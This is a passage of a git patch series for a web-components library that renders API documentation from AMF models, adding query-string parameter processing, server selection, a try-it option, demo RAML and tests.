    `; } return html` - + `; } } diff --git a/src/elements/ApiRequestDocumentElement.js b/src/elements/ApiRequestDocumentElement.js index 0f3e86a..209b535 100644 --- a/src/elements/ApiRequestDocumentElement.js +++ b/src/elements/ApiRequestDocumentElement.js @@ -5,7 +5,6 @@ import '@anypoint-web-components/anypoint-listbox/anypoint-listbox.js'; import '@anypoint-web-components/anypoint-item/anypoint-item.js'; import commonStyles from './styles/Common.js'; import elementStyles from './styles/ApiRequest.js'; -import '../../api-payload-document.js'; import { ApiDocumentationBase, paramsSectionTemplate, @@ -13,6 +12,8 @@ import { descriptionTemplate, serializerValue, } from './ApiDocumentationBase.js'; +import { QueryParameterProcessor } from '../lib/QueryParameterProcessor.js'; +import '../../api-payload-document.js'; import '../../api-parameter-document.js'; /** @typedef {import('lit-element').TemplateResult} TemplateResult */ @@ -20,6 +21,9 @@ import '../../api-parameter-document.js'; /** @typedef {import('@api-components/amf-helper-mixin').ApiPayload} ApiPayload */ /** @typedef {import('@api-components/amf-helper-mixin').Request} Request */ /** @typedef {import('@anypoint-web-components/anypoint-listbox').AnypointListbox} AnypointListbox */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiNodeShape} ApiNodeShape */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiArrayShape} ApiArrayShape */ +/** @typedef {import('../types').OperationParameter} OperationParameter */ export const queryRequest = Symbol('queryRequest'); export const requestValue = Symbol('requestValue'); @@ -32,6 +36,9 @@ export const cookiesTemplate = Symbol('cookiesTemplate'); export const payloadTemplate = Symbol('payloadTemplate'); export const payloadSelectorTemplate = Symbol('payloadSelectorTemplate'); export const mediaTypeSelectHandler = Symbol('mediaTypeSelectHandler'); +export const processQueryParameters = Symbol('processQueryParameters'); +export const queryParametersValue = Symbol('queryParametersValue'); +export const queryStringTemplate = Symbol('queryStringTemplate'); /** * A web component that renders the documentation page for an API request object. @@ -74,6 +81,28 @@ export default class ApiRequestDocumentElement extends ApiDocumentationBase { return Array.isArray(request.queryParameters) && !!request.queryParameters.length; } + /** + * @returns {boolean} true when has URI parameters definition + */ + get hasUriParameters() { + const request = this[requestValue]; + if (!request) { + return false; + } + return Array.isArray(request.uriParameters) && !!request.uriParameters.length; + } + + /** + * @returns {boolean} true when has query string definition + */ + get hasQueryString() { + const request = /** @type ApiRequest */ (this[requestValue]); + if (!request) { + return false; + } + return !!request.queryString; + } + /** * @returns {ApiPayload|undefined} */ @@ -155,6 +184,8 @@ export default class ApiRequestDocumentElement extends ApiDocumentationBase { this.parametersOpened = undefined; /** @type Request */ this.domainModel = undefined; + /** @type OperationParameter[] */ + this[queryParametersValue] = undefined; } /** @@ -167,6 +198,7 @@ export default class ApiRequestDocumentElement extends ApiDocumentationBase { } this.mimeType = undefined; await this[queryPayloads](); + await this[processQueryParameters](); await this.requestUpdate(); } @@ -179,6 +211,24 @@ export default class ApiRequestDocumentElement extends ApiDocumentationBase { this[payloadsValue] = request.payloads; } + /** + * Creates a parameter + */ + async [processQueryParameters]() { + this[queryParametersValue] = undefined; + const { request } = this; + if (!request) { + return; + } + const nodeShape = /** @type ApiNodeShape */ (request.queryString); + if (!nodeShape) { + return; + } + const factory = new QueryParameterProcessor(); + const params = factory.collectOperationParameters(request.queryString, 'query'); + this[queryParametersValue] = params; + } + /** * @param {Event} e */ @@ -196,6 +246,7 @@ export default class ApiRequestDocumentElement extends ApiDocumentationBase { return html` ${this[descriptionTemplate](request.description)} ${this[queryParamsTemplate]()} + ${this[queryStringTemplate]()} ${this[headersTemplate]()} ${this[cookiesTemplate]()} ${this[payloadTemplate]()} @@ -206,11 +257,25 @@ export default class ApiRequestDocumentElement extends ApiDocumentationBase { * @return {TemplateResult|string} The template for the query parameters */ [queryParamsTemplate]() { - if (!this.hasQueryParameters) { + if (!this.hasQueryParameters && !this.hasUriParameters) { return ''; } const { request } = this; - const content = request.queryParameters.map((id) => this[schemaItemTemplate](id)); + const { queryParameters=[], uriParameters=[] } = request; + const all = uriParameters.concat(queryParameters); + const content = all.map((param) => this[schemaItemTemplate](param)); + return this[paramsSectionTemplate]('Parameters', 'parametersOpened', content); + } + + /** + * @return {TemplateResult|string} The template for the query parameters built form the query string. + */ + [queryStringTemplate]() { + if (!this.hasQueryString || this.hasQueryParameters) { + return ''; + } + const params = this[queryParametersValue]; + const content = params.map((param) => this[schemaItemTemplate](param.parameter)); return this[paramsSectionTemplate]('Parameters', 'parametersOpened', content); } @@ -248,7 +313,7 @@ export default class ApiRequestDocumentElement extends ApiDocumentationBase { } const content = html` ${this[payloadSelectorTemplate]()} - + `; return this[paramsSectionTemplate]('Request body', 'payloadOpened', content); } diff --git a/src/elements/ApiResourceDocumentationElement.js b/src/elements/ApiResourceDocumentationElement.js index c58b6c6..69e013c 100644 --- a/src/elements/ApiResourceDocumentationElement.js +++ b/src/elements/ApiResourceDocumentationElement.js @@ -24,6 +24,7 @@ export const queryEndpoint = Symbol('queryEndpoint'); export const queryServers = Symbol('queryServers'); export const endpointValue = Symbol('endpointValue'); export const serversValue = Symbol('serversValue'); +export const serverValue = Symbol('serverValue'); export const serverIdValue = Symbol('serverIdValue'); export const urlValue = Symbol('urlValue'); export const computeUrlValue = Symbol('computeUrlValue'); @@ -33,12 +34,16 @@ export const operationsTemplate = Symbol('operationsTemplate'); export const operationTemplate = Symbol('operationTemplate'); export const parametersTemplate = Symbol('parametersTemplate'); export const operationIdChanged = Symbol('operationIdChanged'); +export const selectServer = Symbol('selectServer'); +export const processServerSelection = Symbol('processServerSelection'); /** - * A web component that renders the documentation page for an API resource built from + * A web component that renders the resource documentation page for an API resource built from * the AMF graph model. + * + * @fires tryit */ -export default class AmfResourceDocumentationElement extends ApiDocumentationBase { +export default class ApiResourceDocumentationElement extends ApiDocumentationBase { static get styles() { return [elementStyles, commonStyles, MarkdownStyles]; } @@ -90,9 +95,47 @@ export default class AmfResourceDocumentationElement extends ApiDocumentationBas return; } this[serverIdValue] = value; + this[selectServer](); + } + + /** @returns {ApiServer|undefined} */ + get server() { + if (this[serverValue]) { + return this[serversValue]; + } + const servers = this[serversValue]; + if (Array.isArray(servers) && servers.length) { + const [server] = servers; + if (server) { + this[serversValue] = server; + } + } + return this[serversValue]; + } + + /** @param {ApiServer} value */ + set server(value) { + const old = this[serverValue]; + if (old === value) { + return; + } + this[serverValue] = value; + this[processServerSelection](); this[computeUrlValue](); } + /** + * @returns {string|undefined} The list of protocols to render. + */ + get protocol() { + const { server } = this; + if (!server) { + return undefined; + } + const { protocol } = server; + return protocol; + } + static get properties() { return { /** @@ -109,9 +152,21 @@ export default class AmfResourceDocumentationElement extends ApiDocumentationBas * When set it opens the parameters section */ parametersOpened: { type: Boolean, reflect: true }, + /** + * When set it renders the "try it" button that dispatches the `tryit` event. + */ + tryIt: { type: Boolean, reflect: true }, }; } + // /** + // * @returns {boolean} true when the API operated over an HTTP protocol. By default it returns true. + // */ + // get isHttp() { + // const { protocol } = this; + // return ['http', 'https'].includes(String(protocol).toLowerCase()); + // } + constructor() { super(); /** @@ -134,6 +189,10 @@ export default class AmfResourceDocumentationElement extends ApiDocumentationBas this.operationId = undefined; /** @type {EndPoint} */ this.domainModel = undefined; + /** @type {boolean} */ + this.tryIt = undefined; + /** @type ApiServer */ + this[serverValue] = undefined; } /** @@ -204,22 +263,30 @@ export default class AmfResourceDocumentationElement extends ApiDocumentationBas } } + /** + * Sets the private server value for the current server defined by `serverId`. + * Calls the `[processServerSelection]()` function to set server related values. + * @returns {void} + */ + [selectServer]() { + this[serverValue] = undefined; + const { serverId } = this; + const servers = this[serversValue]; + if (!serverId || !Array.isArray(servers)) { + return; + } + this[serverValue] = servers.find(s => s.id === serverId); + this[processServerSelection](); + this[computeUrlValue](); + } + /** * Computes the URL value for the current serves, selected server, and endpoint's path. */ [computeUrlValue]() { - const servers = this[serversValue]; const endpoint = this[endpointValue]; - const serverId = this[serverIdValue]; let result = ''; - let server; - if (Array.isArray(servers) && servers.length) { - if (serverId) { - server = servers.find((item) => item.id === serverId); - } else { - [server] = servers; - } - } + const { server } = this; if (server) { result += server.url; if (result.endsWith('/')) { @@ -305,10 +372,13 @@ export default class AmfResourceDocumentationElement extends ApiDocumentationBas [operationTemplate](operation) { const { serverId } = this; return html``; + ?tryIt="${this.tryIt}" + responsesOpened + class="operation">`; } /** diff --git a/src/elements/ApiResponseDocumentElement.js b/src/elements/ApiResponseDocumentElement.js index a46580b..3ce1aa6 100644 --- a/src/elements/ApiResponseDocumentElement.js +++ b/src/elements/ApiResponseDocumentElement.js @@ -191,7 +191,7 @@ export default class ApiResponseDocumentElement extends ApiDocumentationBase { } const content = html` ${this[payloadSelectorTemplate]()} - + `; return this[paramsSectionTemplate]('Response body', 'payloadOpened', content); } diff --git a/src/elements/ApiSecurityDocumentElement.js b/src/elements/ApiSecurityDocumentElement.js index 1fc5738..9f15fa7 100644 --- a/src/elements/ApiSecurityDocumentElement.js +++ b/src/elements/ApiSecurityDocumentElement.js @@ -375,7 +375,7 @@ export default class ApiSecurityDocumentElement extends ApiDocumentationBase { return html`
    Select a response to render the documentation.
    `; } return html` - + `; } diff --git a/src/elements/ApiSecurityRequirementDocumentElement.js b/src/elements/ApiSecurityRequirementDocumentElement.js index f7c8998..c491fca 100644 --- a/src/elements/ApiSecurityRequirementDocumentElement.js +++ b/src/elements/ApiSecurityRequirementDocumentElement.js @@ -58,6 +58,7 @@ export default class ApiSecurityRequirementDocumentElement extends ApiDocumentat
    ${scheme.schemes.map((item) => html` `)} diff --git a/src/elements/styles/ApiOperation.js b/src/elements/styles/ApiOperation.js index 776ccdd..ca71156 100644 --- a/src/elements/styles/ApiOperation.js +++ b/src/elements/styles/ApiOperation.js @@ -19,6 +19,7 @@ export default css` font-size: var(--operation-title-size, 26px); font-weight: var(--operation-title-weight, 400); margin: 8px 0px; + flex: 1; } .sub-header { @@ -30,4 +31,20 @@ export default css` .params-section { padding-bottom: 20px; } + +.summary { + color: var(--api-operation-documentation-description-color, var(--api-method-documentation-description-color, rgba(0, 0, 0, 0.74))); + font-size: 1.1rem; +} + +.callback-section { + margin: 12px 0; + padding: 8px; + background-color: var(--api-operation-callback-background-color, var(--api-method-documentation-callback-background-color, #f7f7f7)); +} + +.extensions { + font-style: italic; + margin: 12px 0; +} `; diff --git a/src/elements/styles/ApiPayload.js b/src/elements/styles/ApiPayload.js index 6ed255d..be87b98 100644 --- a/src/elements/styles/ApiPayload.js +++ b/src/elements/styles/ApiPayload.js @@ -4,4 +4,8 @@ export default css` :host { display: block; } + +.schema-renderer { + margin-top: 24px; +} `; diff --git a/src/elements/styles/ApiResource.js b/src/elements/styles/ApiResource.js index bd77adf..9ef24dc 100644 --- a/src/elements/styles/ApiResource.js +++ b/src/elements/styles/ApiResource.js @@ -27,7 +27,7 @@ export default css` margin: 0; } -amf-operation-document { +.operation { margin: 60px 0; } `; diff --git a/src/elements/styles/Common.js b/src/elements/styles/Common.js index 9673fd8..eaf7f59 100644 --- a/src/elements/styles/Common.js +++ b/src/elements/styles/Common.js @@ -28,6 +28,10 @@ export default css` text-transform: uppercase; white-space: nowrap; margin: 0; + font-size: var(--api-endpoint-http-method-label-font-size, var(--api-method-documentation-http-method-label-font-size, inherit)); + font-family: var(--api-endpoint-http-method-label-font-family, var(--api-method-documentation-http-method-label-font-family)); + font-weight: var(--api-endpoint-http-method-label-font-weight, var(--api-method-documentation-http-method-label-font-weight)); + min-width: var(--api-endpoint-http-method-label-min-width, var(--api-method-documentation-http-method-label-min-width, inherit)); } .endpoint-url .url-value { diff --git a/src/lib/QueryParameterProcessor.js b/src/lib/QueryParameterProcessor.js new file mode 100644 index 0000000..056bf80 --- /dev/null +++ b/src/lib/QueryParameterProcessor.js @@ -0,0 +1,159 @@ +/* eslint-disable class-methods-use-this */ +import { ns } from '@api-components/amf-helper-mixin'; + +/** @typedef {import('@api-components/amf-helper-mixin').ApiNodeShape} ApiNodeShape */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiArrayShape} ApiArrayShape */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiShapeUnion} ApiShapeUnion */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiUnionShape} ApiUnionShape */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiScalarShape} ApiScalarShape */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiParameter} ApiParameter */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiPropertyShape} ApiPropertyShape */ +/** @typedef {import('../types').OperationParameter} OperationParameter */ + +export class QueryParameterProcessor { + /** + * @param {ApiShapeUnion} schema + * @param {string} binding The parameter binding. + * @param {string=} source Optional parameter source. + * @returns {OperationParameter[]} + */ + collectOperationParameters(schema, binding, source) { + let result = []; + if (!schema) { + return result; + } + const { types } = schema; + if (types.includes(ns.aml.vocabularies.shapes.ScalarShape)) { + result.push(this.scalarShapeOperationParameter(/** @type ApiScalarShape */ (schema), binding, source)); + } else if (types.includes(ns.w3.shacl.NodeShape)) { + const params = this.nodeShapeOperationParameter(/** @type ApiNodeShape */ (schema), binding, source); + result = result.concat(params); + } else if (types.includes(ns.aml.vocabularies.shapes.ArrayShape)) { + result.push(this.arrayShapeOperationParameter(/** @type ApiArrayShape */ (schema), binding, source)); + } else if (types.includes(ns.aml.vocabularies.shapes.UnionShape)) { + const params = this.unionShapeOperationParameter(/** @type ApiUnionShape */ (schema), binding, source); + if (params) { + result = result.concat(params); + } + } + return result; + } + + /** + * @param {ApiScalarShape} shape + * @param {string} binding The parameter binding. + * @param {string=} source Optional parameter source. + * @returns {OperationParameter} + */ + scalarShapeOperationParameter(shape, binding, source) { + const { id, name } = shape; + const constructed = /** @type ApiParameter */ ({ + id, + binding, + schema: shape, + name, + examples: [], + payloads: [], + types: [ns.aml.vocabularies.apiContract.Parameter], + required: false, + }); + return { + binding, + paramId: id, + parameter: constructed, + source, + schemaId: id, + // @ts-ignore + schema: shape, + }; + } + + /** + * @param {ApiNodeShape} shape + * @param {string} binding The parameter binding. + * @param {string=} source Optional parameter source. + * @returns {OperationParameter[]} + */ + nodeShapeOperationParameter(shape, binding, source) { + const result = []; + const { properties=[] } = shape; + if (!properties.length) { + return result; + } + properties.forEach((prop) => { + result.push(this.parameterOperationParameter(prop, binding, source)); + }); + return result; + } + + /** + * @param {ApiPropertyShape} property The property to build the parameter for. + * @param {string} binding The parameter binding. + * @param {string=} source Optional parameter source. + * @returns {OperationParameter} + */ + parameterOperationParameter(property, binding, source) { + const { id, range, name, minCount } = property; + const constructed = /** @type ApiParameter */ ({ + id, + binding, + schema: range, + name, + examples: [], + payloads: [], + types: [ns.aml.vocabularies.apiContract.Parameter], + required: minCount > 0, + }); + return { + binding, + paramId: id, + parameter: constructed, + source, + schemaId: property.id, + schema: range, + }; + } + + /** + * @param {ApiArrayShape} shape + * @param {string} binding The parameter binding. + * @param {string=} source Optional parameter source. + * @returns {OperationParameter} + */ + arrayShapeOperationParameter(shape, binding, source) { + const { id, name, } = shape; + const constructed = /** @type ApiParameter */ ({ + id, + binding, + schema: shape, + name, + examples: [], + payloads: [], + types: [ns.aml.vocabularies.apiContract.Parameter], + required: false, + }); + return { + binding, + paramId: id, + parameter: constructed, + source, + schemaId: id, + schema: shape, + }; + } + + /** + * @param {ApiUnionShape} shape + * @param {string} binding The parameter binding. + * @param {string=} source Optional parameter source. + * @returns {OperationParameter[]|undefined} + */ + unionShapeOperationParameter(shape, binding, source) { + const { anyOf=[], or=[], and=[], xone=[] } = shape; + const info = anyOf[0] || or[0] || and[0] || xone[0]; + if (!info) { + return undefined; + } + return this.collectOperationParameters(info, binding, source); + } +} diff --git a/src/lib/UrlUtils.js b/src/lib/UrlUtils.js deleted file mode 100644 index 282620b..0000000 --- a/src/lib/UrlUtils.js +++ /dev/null @@ -1,155 +0,0 @@ -/* eslint-disable no-param-reassign */ -/** @typedef {import('@api-components/amf-helper-mixin').ApiEndPoint} ApiEndPoint */ -/** @typedef {import('@api-components/amf-helper-mixin').ApiServer} ApiServer */ - -/** - * Computes the URL value for the current serves, selected server, and endpoint's path. - * @param {ApiEndPoint} endpoint - * @param {ApiServer[]} servers - * @param {string} serverId - * @returns {string} The URL template value. - */ - export function computeEndpointUrlValue(endpoint, servers, serverId) { - let result = ''; - let server; - if (Array.isArray(servers) && servers.length) { - if (serverId) { - server = servers.find((item) => item.id === serverId); - } else { - [server] = servers; - } - } - if (server) { - result += server.url; - if (result.endsWith('/')) { - result = result.substr(0, result.length - 1); - } - } - if (endpoint) { - let { path='' } = endpoint; - if (path[0] !== '/') { - path = `/${path}`; - } - result += path; - } - if (!result) { - result = '(unknown path)'; - } - return result; -} - -/** - * @param {string} str A key or value to encode as x-www-form-urlencoded. - * @param {boolean} replacePlus When set it replaces `%20` with `+`. - * @returns {string} . - */ -export function wwwFormUrlEncode(str, replacePlus) { - // Spec says to normalize newlines to \r\n and replace %20 spaces with +. - // jQuery does this as well, so this is likely to be widely compatible. - if (!str) { - return ''; - } - let result = encodeURIComponent(str.toString().replace(/\r?\n/g, '\r\n')); - if (replacePlus) { - result = result.replace(/%20/g, '+'); - } - return result; -} - -/** - * Creates a RegExp object to replace template variable from the base string - * @param {string} name Name of the parameter to be replaced - * @return {RegExp} - */ -function createUrlReplaceRegex(name) { - if (name[0] === '+' || name[0] === '#') { - // eslint-disable-next-line no-param-reassign - name = `\\${ name}`; - } - return new RegExp(`{${name}}`, 'g'); -} - -/** - * @param {string} url The current URL - * @param {Record} variables The path variables to apply. - * @param {boolean} encode Whether to encode parameters. - */ -export function applyUrlVariables(url, variables, encode) { - let result = url || ''; - Object.keys(variables).forEach((variable) => { - let value = variables[variable]; - if (value === undefined) { - return; - } - value = String(value); - if (encode) { - if (variable[0] === '+' || variable[0] === '#') { - value = encodeURI(value); - } else { - value = wwwFormUrlEncode(value, false); - } - } - const r = createUrlReplaceRegex(variable); - result = result.replace(r, String(value)); - }); - return result; -} - -/** - * @param {Record} params The query parameters to use to generate the query string. - * @param {boolean} encode Whether to encode query parameters. - * @returns {string} The query string. - */ -function generateQueryString(params, encode) { - if (typeof params !== 'object') { - return ''; - } - const parts = []; - /** - * @param {string} name - * @param {any} value - */ - function addPart(name, value) { - if (value === undefined) { - value = ''; - } else { - value = String(value); - } - if (encode) { - name = wwwFormUrlEncode(name, true); - value = wwwFormUrlEncode(value, true); - } - parts.push(`${name}=${value}`); - } - Object.keys(params).forEach((key) => { - const value = params[key]; - if (Array.isArray(value)) { - value.forEach((v) => { - let arrayValue = v; - if (Array.isArray(arrayValue)) { - arrayValue = arrayValue.join(','); - } - addPart(key, arrayValue); - }); - } else { - addPart(key, value); - } - }); - return parts.join('&'); -} - -/** - * @param {string} url The current URL - * @param {Record} params The query parameters to apply. - * @param {boolean} encode Whether to encode parameters. - */ -export function applyUrlParameters(url, params, encode) { - const query = generateQueryString(params, encode); - if (!query) { - return url; - } - let result = url || ''; - result += (result.indexOf('?') === -1) ? '?' : '&'; - result += query; - return result; -} diff --git a/src/lib/Utils.js b/src/lib/Utils.js index 9267715..cabae09 100644 --- a/src/lib/Utils.js +++ b/src/lib/Utils.js @@ -4,7 +4,10 @@ import { ns } from '@api-components/amf-helper-mixin'; /** @typedef {import('@api-components/amf-helper-mixin').ApiScalarShape} ApiScalarShape */ /** @typedef {import('@api-components/amf-helper-mixin').ApiArrayShape} ApiArrayShape */ /** @typedef {import('@api-components/amf-helper-mixin').ApiUnionShape} ApiUnionShape */ - +/** @typedef {import('@api-components/amf-helper-mixin').ApiParameter} ApiParameter */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiPropertyShape} ApiPropertyShape */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiNodeShape} ApiNodeShape */ +/** @typedef {import('../types').OperationParameter} OperationParameter */ /** * @param {string} value The value from the graph model to use to read the value from @@ -25,9 +28,10 @@ export function schemaToType(value) { /** * Reads the label for a data type for a shape union. * @param {ApiShapeUnion} schema + * @param {boolean=} [isArray] Used internally * @returns {string|undefined} Computed label for a shape. */ -export function readPropertyTypeLabel(schema) { +export function readPropertyTypeLabel(schema, isArray=false) { if (!schema) { return undefined; } @@ -41,11 +45,18 @@ export function readPropertyTypeLabel(schema) { if (!array.items) { return undefined; } - const label = readPropertyTypeLabel(array.items); + const label = readPropertyTypeLabel(array.items, true); return `List of ${label}`; } if (types.includes(ns.w3.shacl.NodeShape)) { - let { name } = schema; + let { name } = /** @type ApiNodeShape */ (schema); + const { properties } = /** @type ApiNodeShape */ (schema); + if (isArray && properties && properties.length === 1) { + const potentialScalar = /** @type ApiScalarShape */ (properties[0].range); + if (potentialScalar.types.includes(ns.aml.vocabularies.shapes.ScalarShape)) { + return schemaToType(potentialScalar.dataType || ''); + } + } if (name === 'type') { // AMF seems to put `type` value into a property that is declared inline (?). name = undefined; @@ -54,7 +65,7 @@ export function readPropertyTypeLabel(schema) { } if (types.includes(ns.aml.vocabularies.shapes.UnionShape)) { const union = /** @type ApiUnionShape */ (schema); - const items = union.anyOf.map(readPropertyTypeLabel); + const items = union.anyOf.map(i => readPropertyTypeLabel(i)); return items.join(' or '); } if (types.includes(ns.aml.vocabularies.shapes.FileShape)) { From b9e9ae7d9519412204e87448fc6a89f74d8cc8b1 Mon Sep 17 00:00:00 2001 From: Pawel Psztyc Date: Tue, 28 Sep 2021 12:39:45 -0700 Subject: [PATCH 04/24] chore: finalizing the documentation document Signed-off-by: Pawel Psztyc --- demo/documented-api/documented-api.raml | 29 ++ demo/model.mjs | 1 + src/elements/ApiDocumentationBase.js | 23 +- .../ApiDocumentationDocumentElement.d.ts | 5 + .../ApiDocumentationDocumentElement.js | 10 +- test/AmfLoader.js | 299 ++++++++++++++++++ test/MonacoSetup.js | 55 ++++ .../ApiDocumentationDocumentElement.test.js | 166 ++++++++++ .../api-documentation.no-test.js} | 6 +- 9 files changed, 586 insertions(+), 8 deletions(-) create mode 100644 demo/documented-api/documented-api.raml create mode 100644 test/AmfLoader.js create mode 100644 test/MonacoSetup.js create mode 100644 test/elements/ApiDocumentationDocumentElement.test.js rename test/{api-documentation.test.js => old/api-documentation.no-test.js} (99%) diff --git a/demo/documented-api/documented-api.raml b/demo/documented-api/documented-api.raml new file mode 100644 index 0000000..2fe02b4 --- /dev/null +++ b/demo/documented-api/documented-api.raml @@ -0,0 +1,29 @@ +#%RAML 1.0 +title: My super cool, example API +version: v1 +baseUri: http://api.domain.com/ + +documentation: + - title: Read this! + content: | + # This is an example API spec + The API doesn't exists in the real world therefore calls made to any endpoint will always fail. + If you'd like to perform actual request and see the response try GitHub API (which doesn't require user authentication in some endpoints) or other APIs. + Note that you may need a Client ID or valid authorization token to perform a call to some APIs that are secured by the OAuth 2 protocol. + + Test of links: + - [relative link](../demo-document/demo-document.raml) + - [absolute link](https://mulesoft.com) + + Thank you for testing the API console. Your feedback is welcome. Email us: arc@mulesoft.com + - !include ../demo-document/demo-document.raml + - title: Test docs + content: | + # A test documentation. + This text was created by ARC's RAML editor. + You probably see this because you are testing ARC's web components and this component + is responsible for displaying a documentation from the RAML definition. + Play around with the element and use it in your project. + Please, note the licensing information available in every ARC component. + If you have any question email me: arc@mulesoft.com + Or slack me (internally only): Pawel Psztyc (P3) diff --git a/demo/model.mjs b/demo/model.mjs index 6d51ac1..4299350 100644 --- a/demo/model.mjs +++ b/demo/model.mjs @@ -37,5 +37,6 @@ config.set('SE-12957/SE-12957.json', { type: "OAS 2.0", mime: 'application/json' config.set('SE-12959/SE-12959.json', { type: "OAS 2.0", mime: 'application/json' }); config.set('SE-12752/SE-12752.raml', { type: "RAML 1.0" }); config.set('oas-callbacks/oas-callbacks.yaml', { type: "OAS 3.0", mime: 'application/yaml' }); +config.set('documented-api/documented-api.raml', { type: "RAML 1.0" }); generator.generate(config); diff --git a/src/elements/ApiDocumentationBase.js b/src/elements/ApiDocumentationBase.js index 02e9bf7..37c8b84 100644 --- a/src/elements/ApiDocumentationBase.js +++ b/src/elements/ApiDocumentationBase.js @@ -17,11 +17,11 @@ export const debounceValue = Symbol('debounceValue'); export const domainIdValue = Symbol('domainIdValue'); export const domainModelValue = Symbol('domainModelValue'); export const serializerValue = Symbol('domainIdValue'); +export const clickHandler = Symbol('clickHandler'); export const descriptionTemplate = Symbol('descriptionTemplate'); export const sectionToggleTemplate = Symbol('sectionToggleTemplate'); export const paramsSectionTemplate = Symbol('paramsSectionTemplate'); export const schemaItemTemplate = Symbol('schemaItemTemplate'); - /** * A base class for the documentation components with common templates and functions. */ @@ -131,6 +131,26 @@ export class ApiDocumentationBase extends AmfHelperMixin(LitElement) { // ... } + /** + * At current state there's no way to tell where to navigate when relative + * link is clicked. To prevent 404 anchors this prevents any relative link click. + * @param {Event} e + */ + [clickHandler](e) { + const node = /** @type HTMLElement */ (e.target); + if (node.localName !== 'a') { + return; + } + // target.href is always absolute, need attribute value to test for + // relative links. + const href = node.getAttribute('href'); + const ch0 = href[0]; + if (['.', '/'].indexOf(ch0) !== -1) { + e.preventDefault(); + e.stopPropagation(); + } + } + /** * A handler for the section toggle button click. * @param {Event} e @@ -209,6 +229,7 @@ export class ApiDocumentationBase extends AmfHelperMixin(LitElement) {
    diff --git a/src/elements/ApiDocumentationDocumentElement.d.ts b/src/elements/ApiDocumentationDocumentElement.d.ts index 3a5a320..1d0dd92 100644 --- a/src/elements/ApiDocumentationDocumentElement.d.ts +++ b/src/elements/ApiDocumentationDocumentElement.d.ts @@ -11,6 +11,11 @@ export const setModel: unique symbol; * the AMF graph model. */ export default class ApiDocumentationDocumentElement extends ApiDocumentationBase { + /** + * @returns The serialized to a JS object graph model + */ + get model(): ApiDocumentation|undefined; + [documentationValue]: ApiDocumentation; constructor(); domainModel: CreativeWork; diff --git a/src/elements/ApiDocumentationDocumentElement.js b/src/elements/ApiDocumentationDocumentElement.js index f3eac04..11f3905 100644 --- a/src/elements/ApiDocumentationDocumentElement.js +++ b/src/elements/ApiDocumentationDocumentElement.js @@ -25,7 +25,7 @@ export default class ApiDocumentationDocumentElement extends ApiDocumentationBas } /** - * @returns {ApiDocumentation|undefined} + * @returns {ApiDocumentation|undefined} The serialized to a JS object graph model */ get model() { return this[documentationValue]; @@ -81,16 +81,18 @@ export default class ApiDocumentationDocumentElement extends ApiDocumentationBas } /** - * @returns {TemplateResult} The template for the Documentation title. + * @returns {TemplateResult|string} The template for the Documentation title. */ [titleTemplate]() { const docs = this[documentationValue]; const { title } = docs; - const label = title || 'Unnamed document'; + if (!title) { + return ''; + } return html`
    - ${label} + ${title}
    `; diff --git a/test/AmfLoader.js b/test/AmfLoader.js new file mode 100644 index 0000000..46628a8 --- /dev/null +++ b/test/AmfLoader.js @@ -0,0 +1,299 @@ +/* eslint-disable no-continue */ +/* eslint-disable no-param-reassign */ +import { AmfHelperMixin, AmfSerializer } from '@api-components/amf-helper-mixin'; + +/** @typedef {import('@api-components/amf-helper-mixin').AmfDocument} AmfDocument */ +/** @typedef {import('@api-components/amf-helper-mixin').EndPoint} EndPoint */ +/** @typedef {import('@api-components/amf-helper-mixin').Operation} Operation */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiOperation} ApiOperation */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiEndPoint} ApiEndPoint */ +/** @typedef {import('@api-components/amf-helper-mixin').Payload} Payload */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiPayload} ApiPayload */ +/** @typedef {import('@api-components/amf-helper-mixin').SecurityRequirement} SecurityRequirement */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiSecurityRequirement} ApiSecurityRequirement */ +/** @typedef {import('@api-components/amf-helper-mixin').Shape} Shape */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiShapeUnion} ApiShapeUnion */ +/** @typedef {import('@api-components/amf-helper-mixin').CreativeWork} CreativeWork */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiDocumentation} ApiDocumentation */ +/** @typedef {import('@api-components/amf-helper-mixin').WebApi} WebApi */ + +/** + * @typedef EndpointOperation + * @property {EndPoint} endpoint + * @property {Operation} operation + */ + +export class AmfLoader extends AmfHelperMixin(Object) { + /** + * Reads AMF graph model as string + * @param {boolean=} [compact='false'] + * @param {string=} [fileName='demo-api'] + * @returns {Promise} + */ + async getGraph(compact=false, fileName='demo-api') { + const suffix = compact ? '-compact' : ''; + const file = `${fileName}${suffix}.json`; + const url = `${window.location.protocol}//${window.location.host}/demo/${file}`; + const response = await fetch(url); + if (!response.ok) { + throw new Error('Unable to download API data model'); + } + let result = await response.json(); + if (Array.isArray(result)) { + [result] = result; + } + return result; + } + + /** + * @param {AmfDocument} model + * @param {string} path + * @return {EndPoint} + */ + lookupEndpoint(model, path) { + this.amf = model; + const webApi = this._computeWebApi(model); + return this._computeEndpointByPath(webApi, path); + } + + /** + * @param {AmfDocument} model + * @param {string} path + * @return {ApiEndPoint} + */ + getEndpoint(model, path) { + const op = this.lookupEndpoint(model, path); + if (!op) { + throw new Error(`Unknown endpoint for path ${path}`); + } + const serializer = new AmfSerializer(model); + return serializer.endPoint(op); + } + + /** + * @param {AmfDocument} model + * @param {string} endpoint + * @param {string} operation + * @return {Operation} + */ + lookupOperation(model, endpoint, operation) { + const endPoint = this.lookupEndpoint(model, endpoint); + const opKey = this._getAmfKey(this.ns.aml.vocabularies.apiContract.supportedOperation); + const ops = this._ensureArray(endPoint[opKey]); + return ops.find((item) => this._getValue(item, this.ns.aml.vocabularies.apiContract.method) === operation); + } + + /** + * @param {AmfDocument} model + * @param {string} path + * @param {string} operation + * @return {EndpointOperation} + */ + lookupEndpointOperation(model, path, operation) { + const endpoint = this.lookupEndpoint(model, path); + const opKey = this._getAmfKey(this.ns.aml.vocabularies.apiContract.supportedOperation); + const ops = this._ensureArray(endpoint[opKey]); + const op = ops.find((item) => 